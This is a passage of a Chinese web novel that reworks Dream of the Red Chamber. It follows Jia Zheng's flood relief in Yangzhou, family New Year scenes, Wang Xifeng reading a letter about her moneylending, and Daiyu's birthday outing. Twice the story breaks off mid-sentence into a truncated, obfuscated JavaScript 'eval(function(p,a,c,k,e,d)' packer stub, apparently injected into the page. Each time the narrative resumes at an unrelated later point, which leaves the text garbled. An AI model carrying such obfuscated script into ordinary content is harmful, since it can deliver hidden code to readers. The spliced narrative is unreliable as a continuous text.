“都是现成的,直接就能吃了。”薛姨妈笑道。 “多亏你们想得周到,今日我也能蹭一口吃的。”贾政笑笑,先吃起了粥。 这一个多月来,每日都是这样劳累,贾政早已习惯。吃饭快一些,便能省下时间多休息一会儿。 众人从来没有受过这样劳累,也没什么可挑剔的,喝着白粥,配着各种小菜,也算丰富,很快就用好了晚饭。 因为茅屋数量有限,只好安排女孩们住了一间。另外王夫人与薛姨妈住在马车上,宝玉自己单独睡马车。贾政与其他官员一起,在隔壁的茅屋里打地铺。 40.今我何功德 曾不事农桑 之后两日,仍是王夫人与薛姨妈带着孩子们一同施粥。待她们熟悉环境之后,又找到了新的事情做。 “宝钗仍管着生意就行,顺便与你母亲姨妈看管粥棚。”贾政吩咐道。 “黛玉探春宝玉三个,与我一起四处巡查。其中需要写告示的,或是写信的,或是向各处传递消息的,也由你们来做。”贾政又吩咐。 “另有一处专门照管各家小孩子的事情,那里虽有专人在忙,只是人手不太够用,便由香菱和袭人去那里帮忙。” 因为父母长辈要忙着搭建房屋,顾不上年龄太小的孩子,贾政便筹建了这么一处棚区,就像后世的托儿所那样。 孩子们各自都有任务,因要做不同的事情,心里难免有些新奇之感。 “你和妹妹也不要太劳累了,站久了不好。即使有心想多帮帮忙,哪怕与伙计们多换班几次呢?也不至于自己一站就是几个时辰。”贾政吩咐完了孩子们的事情,又来叮嘱王夫人。 王夫人与薛姨妈都是养尊处优惯了的,如此劳累了三日的确吃不消。只是因为心里不忍,总觉得应当多做些事,才能帮助到这些无辜百姓,这几日也都憋了一口气来做事。 王夫人笑了笑,听进去了贾政的叮嘱。又取下颈间常戴着的佛珠递给贾政,说道“如今才发现带着这个做事并不方便,不如摘了的好。”又笑看贾政反应。 贾政接过之后,将佛珠缠了几圈,戴到了自己手腕上。还扬起手腕迎着光看了看,随后调皮地向夫人笑了笑。 “父亲,这些房屋要盖多长时间呢?”探春走在贾政身侧,问道。 “若是天气晴好,施工顺利,大约两个月就能盖好。”贾政回道。 说话间,他们走到了一处正盖房屋的农户门口,此时院子已有了简单的围墙,房屋基础架构也完成了大半。 “你们家几口人近日有没有腹痛或是生其他病的?”贾政亲切问道。 那年轻汉子摇摇头,笑道“多谢大人日日操心,只是我们附近这几家,都没有大事,整天忙着盖房子呢!” 贾政每日都要走访上百户农家,虽都是类似的问题,但他也没有丝毫懈怠。 了解情况后,他们又去了下一户,仍是相似。 “舅舅每日都像这样挨家挨户走访吗?”黛玉又问道。 贾政看看远处各家各户忙着搭建房屋的景象,笑着点点头,又道“洪水刚过,难免发生灾疫,又极容易传染。若是一个不小心疏忽了,到时弄得这上万人都病倒了,到时才是一筹莫展。” 宝黛探三个孩子一路上并不喊累,与贾政一同挨家挨户走访,有时探春与黛玉将贾政临时想到的事情写下来,又派人传到众官员处,由他们一一通知下去。 又走到一户农家,恰好是那日贾政交谈过的家庭。有一八旬老妇,一对夫妻带一双儿女。 这妇人本姓赵,她老来得子,又有了一双懂事的孙子孙女,其中欢喜自不必说。此时她仍身轻体健,帮着儿子儿媳干活。 “每日都有大夫来提醒我们,做什么清理?我也不懂,只是大夫总是嘱咐不食用生水,也不要用被洪水泡过的东西。我们都记着呢!”赵婆婆还不待贾政发问,自己先回答了。 说罢,她又拿出四个杯子,倒了些水。 “你们不要嫌弃,这杯子是我儿子用木头的边角料做的,水也是统一挑来的干净水,哥儿姐儿将就喝一点,你们一路走过来,也劳苦了。”赵婆婆捧着托盘,将水杯一一递到贾政与三个孩子手中。 贾政看孩子们并无一点厌恶的神情,也放了心。 “婆婆,你们盖房子的钱够用吗?”探春突然问道,只是声音有些低。 赵婆婆有些耳背,又问了一遍探春,这才回道“盖新房子,全不用我们自己出钱!衙门发了一点,听说老爷们也不知道从哪里找了好多富人,也给我们发了一些。还有那些善心人家,卖的木材也都不很贵,各处领的钱足足够用呢!” 赵婆婆在这边说话,她的儿子儿媳一心忙着干活,不敢耽误时间。 “婆婆,您的手受伤了。”黛玉突然轻声道,众人听了,也看了过去,是道小口子,冒了一点血。 探春很快拿出帕子,又扯成几条,紧紧裹住了赵婆婆的伤口。 “婆婆,大夫说了,只要身上有伤口,就及时包好,更不要沾了污水。”探春细细叮嘱了,又握住赵婆婆两手,轻抚着上面道道沟壑,想到了这些日子看到的许多人,她不自觉红了眼眶。 “姐儿是个疼人的,也不嫌弃我这个老婆子,好好的帕子就那么撕了。”赵婆婆边说话,边轻抚探春手臂,隔着衣服,她也不敢太用力。 “婆婆与我们说说怎么盖房子,怎么耕地,好不好呢?”黛玉突然说道。探春和宝玉也有了兴趣,围坐在一起,想听赵婆婆闲谈农事。 贾政见孩子们将赵婆婆围着,要听故事,就说道“她们几个孩子不懂这些,您讲一些让她们听听,我来帮您干活!”边说着话,就已经挽起袖子干活了。 赵婆婆本不太想讲,怕耽误时间干活。毕竟又不敢让贾政这位官老爷干活,只是贾政又很坚持,她阻拦不住。她看了看儿子儿媳,见他俩也无可奈何,自己只好听了贾政的安排,挑了些觉得有趣的,讲了一些。 黛玉本来就是随口一说,调节气氛的,并没有想到那么多。此时见自己一句话产生如此结果,心里也有些不好意思。只能按下不表,专心听赵婆婆讲故事。 也就随意说了一刻钟的时间,赵婆婆便不再说,看看贾政。贾政也不勉强,放下手里的活儿,寒暄两句,便带着孩子离开了。 “你们是富贵家庭的孩子,不懂平民百姓之家怎么过日子。如今洪水刚过,他们都要抓紧时间盖好房子,赶在入冬之前住进去。也就不太愿意浪费时间闲聊。” 贾政说到这里,摸摸黛玉脑袋,柔声说“黛玉不要因为这个不好意思,人都有自己想不到的地方,如今多经历些,日后岂不是就遍晓世情了吗?” 黛玉听了贾政的话,笑着点点头,很快不再自困。 宝玉和探春却有些不好意思,他们都没有想到这方面。 探春便说“林姐姐心思细腻,这并没有什么,方才我和二哥哥还要更傻呢!现在也不觉得有什么了。” “不是还有父亲为我们兜底吗?”探春又走到贾政旁边,笑道。 宝玉哪能想到这里,此时听了贾政与探春的话,仍觉得没头没脑的,只是他并不在意。 “方才赵婆婆所说真是有趣!在书院的时候,时清先生就教我们如何种地炒茶叶,只是我那时并不很在意没有认真去做。如今听了婆婆讲的,真是想马上试一试了!”宝玉笑着说道,他往往最能留意到有趣可玩的事务。 “既然喜欢,等空闲下来,我与你们一起将咱们的花园翻新一下,重新栽一些花草。”贾政说道。 孩子们听了,自然欢喜,方才的一点不快也就消散了。 再说袭人与香菱这边,正忙着照看小孩子。她们俩年纪也不大,都只有十来岁,只是因为总是伺候别人,便也很会照顾小孩子。 此时香菱正逗着两个才刚会走路的小女孩,她们两个最小,需要人时刻看着。香菱拿了一只布老虎,与孩子玩。 香菱说话细声细气,待人又温柔又和善,天然一身受小孩喜欢的亲切感,这两个小女孩也就很粘香菱。 袭人照看几个六七岁的孩子,也都算懂事,并不胡闹,只是围在一起玩石子。 虽然贾政好心设了此处供灾民们托管小孩,好专心盖房子,只是但凡大一些,可以干活的孩子都在帮家人盖房子,所以此处倒并没有许多孩子需要照顾。 两个小女孩玩累了,一左一右靠在香菱身上。香菱拿随身带着的小梳子她们梳头发。 “你们两个饿不饿,累不累呢?”袭人问两个小女孩。可是两个孩子都玩得累了,迷迷糊糊哼了一声,便躺着睡着了。 袭人怕香菱坐在那里时间久了不舒服,就揽过来一个孩子,搂抱着她,减轻一点香菱的负担。 香菱轻轻抚摸着怀中小女孩的头顶,很是温柔地笑了笑。 “小时候的事情都不记得了,有时候好像能想起来父亲抱着我去街上逛庙会。人很多,四处都是吆喝声。冬天很冷,父亲将我抱得紧紧的,怕我着凉···”香菱缓缓说道。 说罢又轻笑着摇摇头,说道“有时却觉得这都是梦,并没有真的发生过···” 香菱说到这里,低了头,轻轻拍着怀中小女孩的脊背。口中轻哼着不成调的曲子,这大约也来自梦境。 自从五六岁被人贩子拐走后,香菱再也不敢回忆过去的事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贾政猜测,此前水匪一事大约因为忠顺王爷的缘故,圣上拿捏不准如何处理,这才拖了几个月,与这次治理水患一同处理了。 表面上看,忠顺王爷与圣上关系亲厚,只是何故忠顺王爷又要做鸦片生意呢?不知道圣上在其中又知道多少? 贾政因受到皇帝赏赐,并有天使亲送圣旨,其中不少圣上的勉励话语,倒是让他略放了心。起码现在,他还是个能臣,并没有杀身之祸。 便也不再陷入无止境的猜测中,放心准备过年了。 这是孩子们第一次在外过年,都有些思念京城的亲人。贾政与林如海这边早就派人送了年礼进京,并带了许多江南土产。 孩子们一起写了一封信给贾母,另外贾政与王夫人写了两封,一封给贾母,一封单独给王熙凤的。 才刚进入腊月,王夫人与薛姨妈就打点好了里外事务。幸而在扬州,并没有许多亲友往来,家中上下人口也少,王夫人难得过一个这么轻松的年。 此时贾政坐在炕桌前,王夫人坐他对面,桌上摆了几盘扬州常见的点心。二人刚用过晚饭。 “昨天读到哪里了?”贾政拿起手边的民俗故事,问道。 “我哪里记得?”王夫人笑了笑。她记性并不很好,许多故事也是一听就忘。再有最近杂事不少,更难留心于此。 “那我随便翻到哪一页就读吧。”贾政也无所谓。 “还是这间屋子最暖和了!”探春刚进门,搓搓手,略行了礼,就歪到了王夫人怀里。 “又胡说,你们几个的屋子用的炭,哪一年比我这里的少了?”王夫人摸摸探春头发,笑道。 贾政又听到窗外有人说话,偏了头一看,果然是黛玉宝钗与宝玉三个人,正齐齐站着,仰头望天。贾政也抬头看去。 “夫人看,正好是一弯新月!”贾政也觉得今晚的新月婉约可爱,指给夫人看。王夫人搂着探春,抬头略看了看。 探春将拇指食指比成一个圈儿,透过这圈儿看月亮,说道“月儿弯弯”,又去看王夫人,眯了眼睛道“像母亲笑着的眉眼。” “扬州会下雪吗?”宝玉突然问道。 黛玉仰头累了,稍微靠着宝钗,笑道“并不很多,下起来也是粉一样的,和京城大不相同。” “所谓瑞雪兆丰年,我也希望今年多下几场雪,明年有个好收成。”宝钗说道。 “宝姐姐很务实,但这种务实又很可爱。”黛玉笑道。 宝钗笑笑,挽着黛玉手臂向屋子走去。 “外面不嫌冷吗?父亲正讲故事呢!快来听!”宝钗黛玉刚走到门口,探春就掀起帘子将她们俩拉了进去。 “也不等我!”宝玉本来正在发呆,一回头却不见了姐妹们。他定神一看,原来黛玉已坐在了屋里窗边,正笑着看他。 41.愿得常如此 团圆共欢笑 自从宝玉随贾政夫妇去了扬州,贾母总不习惯。 宝玉自小就是在贾母身边养的,她喜欢日日看到宝玉。 人老多情,贾母将自己所有的慈爱都倾注在了宝玉身上。只是如今宝玉黛玉都不在京,三丫头也不在,其中寂寞更不必说。幸而还有一个王熙凤,日日在贾母跟前凑趣。 鸳鸯服侍贾母多年,她又心细,便与王熙凤商量后,请来了史家姑娘湘云来贾府小住。 湘云是贾母娘家的侄孙女,自然让贾母亲切。可巧的是湘云生来天真烂漫,性子豪爽可爱,这正与贾母幼时性格多有相似,因此有湘云在身边陪着,贾母多了不少欢乐。 此时,王熙凤收到了贾政与林如海自扬州送来的年礼,并几封信件。王熙凤自然知道贾母时刻挂牵扬州的动向,因此扬州一来人,她便引到了贾母这里。 贾母略略看过了送来的东西,看得出儿子儿媳与姑爷都是用了心思的,很是满意。赏了扬州来的媳妇婆子,便让湘云给她读信。 “老太太,这封信是爱哥哥与林姐姐三妹妹写的。”湘云笑道。 “快读给我听!”贾母笑着催促。 此时屋里除了伺候的丫鬟,还有王熙凤平儿,李纨,湘云迎春惜春。 “爱哥哥说,二老爷在扬州为她们姐妹几个选了两间书院,书院的先生都好极了!她们姐妹都很有进益呢!”湘云继续看下去,又复述道“这里是林姐姐写的,她说自己的身子好多了,秋冬季也不咳嗽,更少生病了,让老太太也要保养身子,不要挂念她们。” “还有探春妹妹,她的字写得更好了,一看就与旁的不同!”湘云笑道。 贾母听了宝玉黛玉的话,已经很是高兴,此时看湘云调皮,便将她搂到怀里,问道“三丫头怎么说?” “三妹妹说老爷在扬州诸事顺利,还得了圣上的许多赏赐。她又说老爷将金陵的薛姨妈母女接到了扬州,姨妈家的宝钗姐姐性子稳重平和,做事又周全,姐妹几个都喜欢她。待日后回京,老太太见了,定也喜欢。”湘云读完信,笑道“我却也没见过林姐姐与宝姐姐呢!” 迎春道“林妹妹活泼机敏,聪慧却顽皮,总喜欢与宝玉和探春玩闹。”说罢,微微叹了口气,她也很想念姐妹们,“宝姐姐我也没有见过,只是听说过。” 贾母见迎春低沉,也有些疼惜,又将她搂着,笑道“待你们二老爷明年回了京,你们姐妹几个少不了一起玩闹了!” “就是说呢!这不还有一封信,是她们几个孩子专门写给迎春和惜春的。”王熙凤笑着示意平儿,平儿便拿了信递给迎春。另有一封给贾珠李纨的信,平儿也递给了李纨。 迎春看罢信,心里又是喜欢又是羡慕,忍不住落了两滴泪。 “二姐姐难过什么!等她们回来,咱们定要好好拷问,让她们将所见所闻细细道来,岂不是咱们自己也算去过了吗?”湘云笑着安慰迎春。 惜春年纪虽小,但也和湘云一起安慰迎春,迎春也很快不再难过了。 “你们姐妹几个一起玩去,我与你们凤姐姐再说会儿话。”贾母笑道。 两个孩子走后,贾母问道“二老爷在信中可说了些什么?” 王熙凤笑笑“老爷说他得了圣上奖赏,巴巴的将那些金银宝物也送了来,让老太太看后也高兴高兴呢!” 贾母自然高兴儿子得了赏赐,忙就要看那些东西。王熙凤早有准备,各样挑了一些让平儿放到托盘里,供贾母过目。 “好极了,拿过去给珍哥儿与他媳妇看了,说今年祭祖时,将这些也摆上,又体面又尊贵!”贾母嘱咐道。 “还是老太太想得周到呢,我这就去那边将这好消息告诉他们!”王熙凤笑道。 “老爷再没说什么吗?可提到何时回京?”贾母笑罢,又问道。 王熙凤道“并没有说这个。”说罢又看贾母情绪略低沉,便又说“之前听说外放的官员,不过就是两三年的功夫,也许明年过年时,老爷太太和孩子们就坐到老祖宗身边了!” 贾母听了也高兴,就让王熙凤去忙了。 王熙凤连日事忙,抽不出空子去东府。待要派平儿去时,就有丫鬟通报,东府大奶奶来了。这正是瞌睡了有人送枕头,王熙凤忙让平儿请了进来。 王熙凤与尤氏二人本就亲厚,如今既有这桩喜事,二人又连带着说起其他的人情家事,许久仍不尽兴。 送走尤氏之后,平儿见王熙凤疲乏,倒了杯茶给她,又站在她身后为她揉捏肩颈。 “太太今年不在家,阖府上下里里外外的事情都落在了我身上,我真是恨不得再变幻一个我出来。”王熙凤笑道,“多亏了你是个细心人,内外事务总能帮的上忙,不然我哪里敢与大嫂子聊那么久呢?” 平儿笑笑,柔声道“说起这个,老爷和太太不是还有一封信吗?” 王熙凤点点头,道“还没有看。” 平儿看出王熙凤神色犹疑,便小心问道“奶奶心里有事?” “我并不避讳你,索性直言”王熙凤叹口气,又道“太太临去扬州前,嘱咐过我,让我在二爷跟前收敛点脾气,如此才是夫妻和睦的长久之道。只是你也看到了,咱们家这个二爷,混得很呢!” 王熙凤说罢,仍是气不过。 前些日子,贾琏想从凤姐这里拿些银钱,便百般讨好王熙凤,连带着让平儿也帮他说好话。王熙凤本就烦恼此事,她是个骄傲的人,自己拿钱出来好让丈夫出去花天酒地,这事情怎么想怎么憋屈。只是耐不住贾琏几次三番伏低做小,王熙凤也不愿意闹得太僵,就给了他一千银子。 如今倒好,贾琏手里有了钱,成日里更不着家,王熙凤不用想,就知道他在外做些什么。只是因为家里事忙,也懒得再去留意贾琏那些麻烦事。 所以王熙凤看到王夫人与贾政特意给她来了一封信,便猜到可能也要劝她,心里就有些抵触。 “罢了,平儿你把信拿来读给我听。”王熙凤揉了揉眉心,说道。 平儿拆开信,轻声读了起来。 这封信其中内容是王夫人口述,贾政代笔的。待王夫人要说的话写完了,贾政又加了一些自己想说的。 平儿先读了几句,这些内容都是王夫人的意思,不过是问她家事是否顺利,老太太身体如何。又叮嘱她处理家事务必细致,凡事拿不准的,去请示大太太与老太太,以免犯错。 王熙凤听罢,见并没有提到贾琏什么事情,便没那么烦闷,又让平儿继续读。 平儿粗粗看了底下的内容,有些惊慌。王熙凤会意,打发了屋子里的其他人,便让平儿继续读。 “这是老爷写的。他说印子钱的事情他都知道了,让奶奶不要再做此事。”平儿读到这里,细看王熙凤神色。 王熙凤神情严肃,示意平儿继续读。 “老爷说如今有人暗中盯着咱们家,他在扬州已经遇到两次,次次都很凶险。若是被他们抓到印子钱的把柄,日后更难处理。” 平儿很快读完,又继续道“老爷说他在信中附了一张银票,让奶奶自己留下。无论是需要补垫府上的花销,或是奶奶自己需要,尽管去用。只是不要再与大爷合伙放印子钱了。日后若用完了,再找他要就行。”平儿读完,在信封中找出银票,递给了王熙凤。 王熙凤打开一看,是五千两。她手里拿着银票,心里一时难过,一时高兴。神情变换好几次,一直没说话。其实这钱也并不很多,贾政手里也不很宽裕,就先拿了这么多。 屋内沉默了片刻,王熙凤突然开口道“我做了不应该事情,差点被歹人发现害了贾家,老爷知道了却不骂我,还给我钱用。”说罢又叹口气,不知道再说什么。 平儿小心道“老爷许是体贴奶奶,再说老爷在外做官,太太也不在家,府里大小事务都靠着奶奶,老爷也不能如何怪罪。” 王熙凤叹了口气,笑道“琏二爷却从来没有往家里拿回来钱,他总是伸手朝我要钱。” 王熙凤性子刚强果断,她虽不太明白贾政心中具体想法,只是看他又是叮嘱,又是拿钱给她用,王熙凤也就放了心,认为贾政起码没有怪罪她,也更能体会到她的难处。 “奶奶说这个做什么,夫妻之间,还计较你的我的吗?”平儿劝道。主子之间有矛盾,她作为丫鬟,即使心里也为王熙凤鸣不平,却也不能多说一句贾琏的不好。 “也许是太太心疼我,已经劝过老爷了,这钱无论是老爷的还是太太的,咱们就承了这份情吧!总之即使不称呼叔叔婶子,仍是我的亲姑妈姑父。”王熙凤又想到其中也许是王夫人好意,便如此说。 平儿听了后半句却很惊讶,以为王熙凤有其他想法,忙劝道“奶奶再不要这么说话,让有心人听了,难免不会生事。” 王熙凤摇摇头,又问“二爷回来了吗?” 平儿道“今早出门前,二爷吩咐晚上不回来用饭。” 王熙凤也没什么表情,又道“你将这银票先收起来吧。”平儿应了,将银票收到了王熙凤素日放私房的盒子里。 “三丫头信里说,老爷将姨妈一家都接到了扬州。”王熙凤又道“姨妈她们孤儿寡母,却守着偌大家业,难免不被族里人嫉妒,老爷此举也是保护她们。” 平儿静待王熙凤后文。 “你我自幼在金陵长大,扬州与金陵离得那么近,却从来没有去过。”王熙凤叹道。 平儿心里难过,说不出宽慰话。嫁了人的女子,纵使地位再高,不过是养在深宅大院里,连街市都不能随意去逛,更何况出远门呢? “奶奶若是喜欢,待日后二爷也得了外任,定也带奶奶同去。”平儿只好说了这么一句。 王熙凤摇摇头,又道“难道必须由什么人带着我去,我才能出去吗?” 腊月里,扬州下了两场雪。细沙一样粉粉的,落在人身上一会儿就化了。 贾政正月里打算舒服待在家里,陪着夫人孩子们。他就在小年那天,在外面酒楼摆了一天席,专门宴请衙门各处的官员。本来应当在家里摆席,只是他怕夫人麻烦,就摆在了外面酒楼。 如今扬州水务衙门他说了算,其他人自然没有什么意见。林如海见状,也和贾政一样。其他人知道林如海家中只有一个女儿管家,也很理解。 探春的字写得越发好了,今年的春联便由她来写。其他几个孩子也写了几幅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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宝玉走到探春身侧,说道“荷包是三妹妹做的,她的绣工自然是顶好的!” 又走到黛玉身侧,说道“里面的手串是父亲和我一起做的。不值什么钱,也是一片心意。”说罢,故意看一眼黛玉。 给姐妹们的手串是宝玉找的各种树木的果实穿成的,虽简单,却质朴有趣。 给长辈们的手串,是玛瑙和田玉做的珠串,都是贾政串的,也算精致。 “舅舅,没有压岁钱吗?”黛玉故意问道。 贾政笑笑,“你们公子小姐们又不缺钱,这些珠串不比压岁钱更有意趣吗?这可是宝玉和我的一番心意呢!”说罢,故意摇摇头,叹口气。 在座众人谁不知道贾政私下里最喜欢开玩笑,在孩子跟前尤其如此。也都笑了笑,并不在意他在孩子面前的不庄重。 “姨妈的压岁钱今早已经给过你们了呢!”薛姨妈笑道。 “我的也给了。”林如海补充一句。 王夫人待要说话,被贾政轻轻扯了扯袖子,她便抿抿唇,没说什么。 黛玉已将手串戴在腕上,又靠近烛光看了看,很是喜爱。宝玉见状,心里高兴,又要起身斟酒,只是酒壶空了,就先吩咐人热酒。 待热好了酒,宝玉接过了暖酒壶,却被宝钗拦下了。 宝钗笑道,“宝玉,我来斟酒吧。”宝玉便不勉强,将暖酒壶给了宝钗。宝钗先给长辈们斟酒,待走到贾政与王夫人跟前时,宝钗似有话要说。 贾政自然知道她想说些什么,便道“千言万语一杯酒,无须多言。”说罢,就饮尽了。宝钗笑笑,又为姨妈和母亲斟酒。 热热闹闹吃过年夜饭,便陆续听到街上传来了爆竹声。 宝玉早就拉着姐妹们去放烟火,往年都是看别人放,今年自然要自己来放,才能过足瘾。 “宝玉,你小心点!”王夫人笑着叮嘱宝玉。黛玉接了一句“别烫到手了!” 宝玉回头顽皮一笑,点燃了烟花。 众人仰头看烟花,五彩缤纷,宛若星辰堕入凡间。人们偏爱看烟花,哪怕极致美丽之后是一片空虚。 夜深了,贾政和王夫人躺着聊天。 “给孩子们的压岁钱早就放在他们枕头下面了,明日一早他们就看到了。”贾政对王夫人说。 王夫人笑道“老爷连给压岁钱都要故意逗孩子们。” 贾政并不介意被夫人笑,又说道“不如夫人先摸摸枕头下面呢?” “我又没有和老爷要压岁钱。”王夫人虽然如此说,但还是伸手摸索,发现也是一个荷包。 “那会儿不是已经给过了吗,怎么又是荷包?”王夫人笑道。 “这个荷包是宝钗做的,夫人看里面呢?”贾政又道。 王夫人拿出来看,是一张五千两的银票,便疑惑道“这是什么?” 贾政笑笑说道“这是我与宝钗一同做生意赚的钱。我分了一万两,其中一半给了凤丫头,让她预备着用,剩下的都给夫人做压岁钱了。” 说罢又道“压岁钱越多,福气越多。” “有这种说法吗?”王夫人问。 “也许有,也许是我编的,你猜猜看呢?” 42.花朝庆生放纸鸢 过了春分,贾政带着孩子们将花园整饬了一番,打算补栽一些果树,灌木,花卉。 “我想要这两株芭蕉。”探春挑了两株芭蕉,想种在自己院子里。 “怎么没有竹子?”黛玉找了一遍,并没发现。 “我帮你找。”宝玉边说话,边四处找寻。 宝钗挽着黛玉手臂,笑道“竹子根系旺盛,容易蔓延到各处,将地面砖石顶开,最好是种在离房屋远一些的荒地,你若喜欢,专门辟一片出来,只种竹子。” 贾政赞赏地看一眼宝钗,也道“黛玉若是喜欢,我吩咐花匠给你辟一块儿地方出来。” “还是舅舅疼我。”黛玉笑笑,半个身子倚着宝钗。 宝玉没找到竹子,挑出两盆散尾葵,笑道“这两株长得还挺像竹子,林妹妹喜欢吗?” 黛玉点点头“还不错,摆在屋里,满目翠绿。”便让丫鬟搬到自己房间。 “父亲,多种几棵桂花树,闻着又香,花瓣还可以晒干了做吃的,做香粉。”宝玉又道。 贾政点点头,又说“除了桂花,种几株玉兰如何?” “我喜欢白玉兰”黛玉道。 “紫玉兰也好看!”探春笑道。 贾政便笑着说“你们喜欢的,我都种上。待开了花,看着又好,还能拿来戴。到时你们个个头上簪满花,岂不好玩?” 贾政既如此说,孩子们更开心,又纷纷说了许多花卉名字,定要让花园中四季都有花可赏,可玩可戴,这才罢休。 此时王夫人与薛姨妈也来花园。王夫人看到贾政亲自栽花,衣服下摆沾了不少泥土。孩子们有样学样,拿着花锄,在花匠的指导下,又是翻土,又是蹲下身子栽种。 王夫人看一看薛姨妈,姐妹俩相视一笑,也没有要上前阻止。 宝玉突然走到王夫人与薛姨妈旁边,说了几句话。 王夫人听了,便也走下台阶,来到黛玉身侧。黛玉看舅妈过来,就要起身。 王夫人就牵起黛玉的手,为她理了理头发,笑问“花朝节快到了,黛玉的生日想怎么过呢?” 黛玉有些不好意思,待要回答,薛姨妈也走到她身侧,说道“是要好好热闹一下的。” “姨妈说得对,林姐姐生辰正是春日百花盛开之时,理应好好玩乐一次!”探春笑道。 “要请戏班吗?还是在花园里摆酒联诗呢?”宝玉问道。 黛玉并不好在众人面前商议给自己过生日的事情,毕竟有些羞涩。 宝钗在旁边想了一会儿,笑道“不如我们齐去郊外踏青,又可以赏花,又可以放风筝钓鱼,到时准备一些酒菜,想要联诗,就在湖畔或是树下,不都要比在园子里有趣吗?” “妙极妙极!宝姐姐说得这些都好!”宝玉笑道,他很是赞同宝钗的提议。 “林姐姐喜欢吗?”探春搂着黛玉肩膀,问道。黛玉轻轻点了点头。 探春又分别抱住王夫人与薛姨妈手臂,撒娇道“不如就这样为林姐姐庆生,母亲姨妈,就答应了我们吧!” 王夫人笑道“方才我与你姨妈说过不许吗?” 探春意识到自己心急,就笑道“那就是准了!多谢母亲,多谢姨妈!”说罢,就拉着姐妹们商议去了。 “你们方才还热热闹闹要来栽花,怎么跑得这么快?”贾政无奈道。 “父亲先栽花,我们一会儿再来!”探春回头说完,很快和姐妹们消失在拐角处。 贾政无奈笑笑,又蹲下身子继续栽花。 王夫人在旁边看了一会儿贾政栽花。见他干起活来与旁边花匠竟然相差不多,心里觉得好笑。 又想起了贾政素有归农之意,想必他也乐在其中,就没有多说什么。 “老爷栽的这是什么花?”王夫人指着贾政已经栽好的一株。贾政起身舒展腰背,笑道“这是蝴蝶兰。” 王夫人又随意指着,问了几种花名,贾政都一一回答。 “老爷若不做官,便在寂静之处盖几间屋舍,房前屋后,随你种多少花草。”王夫人笑道。 贾政接过王夫人递来的手帕,擦了擦汗,就放到自己袖袋中,回道“这种生活的确很好,只是让我完全做一个农夫,却也是做不来的。” 王夫人不语,轻轻笑了笑。 “昔日陶潜辞官归农,可他哪能做的来农活?写出一句‘种豆南山下,草盛豆苗稀’,便是他的自嘲了。” 贾政笑笑,又说道“只要能自在随心过生活,就很好了,不拘何处。”他张了张嘴又想说什么,却没说出来,只是笑着看王夫人。 王夫人被看得有些奇怪,待要问时,贾政忽然将手伸到王夫人耳畔,轻轻拨弄了一下她的珠钗。王夫人睁大了眼睛,四处看了看,一时不知如何是好。 贾政回过神来自觉此举不当,也有些不好意思,偷看夫人反应,见她并没有很生气,才放了心。 花朝节那日,宝玉探春起了个大早,连早饭也顾不得用,兄妹俩就去找黛玉宝钗。待姐妹几个聚到一起,又叽叽喳喳说起一会儿出去了要怎么玩,诗社又做什么题目。王夫人打发丫头来找她们去吃早饭,姐妹几个这才齐齐来到王夫人处。 用罢早饭,宝玉和探春眼看着王夫人与薛姨妈不紧不慢地打点出门要用的东西,心里着急,却不能催促。 宝钗拿了团扇遮了半张脸,笑道“姨妈,这里有些人急得什么似的,您看看?” 王夫人环视一圈孩子们,自然知晓宝钗含义,笑道“再要心急出门,也得等我们准备齐全了。不然出去了,缺东少西的,更不便利。” 黛玉却只静静坐在桌前,吃着点心,也不插话,也不理会宝玉。 因是女儿生日,林如海也乐得陪她庆贺,就没有去当差,贾政也是如此。 一行人坐着马车,来到了城郊一处僻静湖边。这里近处有湖,远处有山,湖畔还有各样花草树木,真是个天然的踏青好去处。 所谓“万紫千红披锦绣,尚劳点缀贺花神。”正说的是花朝节的景象。 这边王夫人薛姨妈姐妹吩咐着丫鬟,将凳子茶几蒲团拿了出来,再摆上各式点心瓜果。另一边孩子们忙着摘花折柳,编成各样的车马动物,挂在树上,这也是花朝节的习俗。 薛姨妈将玩闹了一会儿的孩子们叫了过来。 “玩累了就来这里坐着歇会儿。”薛姨妈慈爱地牵着黛玉的手,将她安置到圆凳旁边坐了下来。孩子们有的坐凳子,有的坐草地上的蒲团,很是随意。 “这是百花糕,我吩咐人用各色花瓣碾成汁,再和到糯米粉中做的,尝一尝,也是个习俗。”薛姨妈笑着拿过一块喂给黛玉。 黛玉谢过后,便小口吃了。 “谁让人家是寿星呢!咱们几个没人疼了,就自己动手吧!”宝钗故意打趣黛玉,笑罢又端起了点心盘子,在长辈们与姐妹们面前走了一圈,分了点心。 “今日黛玉生辰,你们姐妹没有贺礼吗?”贾政笑问。 宝玉和探春对视一眼,探春便道“父亲总是故意逗我们,寿礼我们自然早准备好了。” “那且拿出来看看,也让我们几个老的开开眼界。”贾政又道。 王夫人笑看一眼贾政,她总是很容易就被贾政的各种玩笑话逗得不行。 “还不到时间。”宝玉笑道。 贾政便说“那么只好我们几个先为寿星贺礼了!”说罢,拿出了自己的礼物,竟然是一本书。黛玉笑着接过了舅舅的礼物,并道了谢。 “真没意思,送书太也普通。”探春调皮道。 贾政并不与女儿理论,只是说“里面的内容可都是我写的呢,保证你们都没有听过。” 孩子们听了又提起兴趣,想着一会儿找机会看看。 王夫人和薛姨妈的礼物类似,前者送了一方名贵砚台,后者送了一方鸡血石的藏书章。黛玉都一一谢过了。随后,黛玉满含期待地看向林如海。 林如海示意了一下小厮,那人就从车上搬出来个红纱盖着的东西。 黛玉一看,便知端的,欢喜地掀开了红纱,下面是一张古琴。黛玉轻轻拨了两下,又在侧面发现四个小字,“静听松风”。 林如海便解释道“这是你母亲先前弹过的琴,那几个字是我那时刻的,如今便送给你吧。”再多的话也没有说。 提到贾敏,父女两人都很伤怀,便都沉默着难过了一会儿。薛姨妈见状,将黛玉搂到怀里,轻声说了几句宽慰的话。 “快来看看姐妹们为你准备了什么贺礼吧。”林如海轻笑道,他很快恢复了情绪,本是欢聚时候,也不愿意再陷入更多愁绪中。 宝玉和探春对视一眼,也觉得应当先转移黛玉注意力,便不准备等待,就先后拿出了自己准备的贺礼。 薛姨妈为黛玉擦了眼泪,说道“快去看看喜不喜欢。”又轻轻拍了拍黛玉脊背。 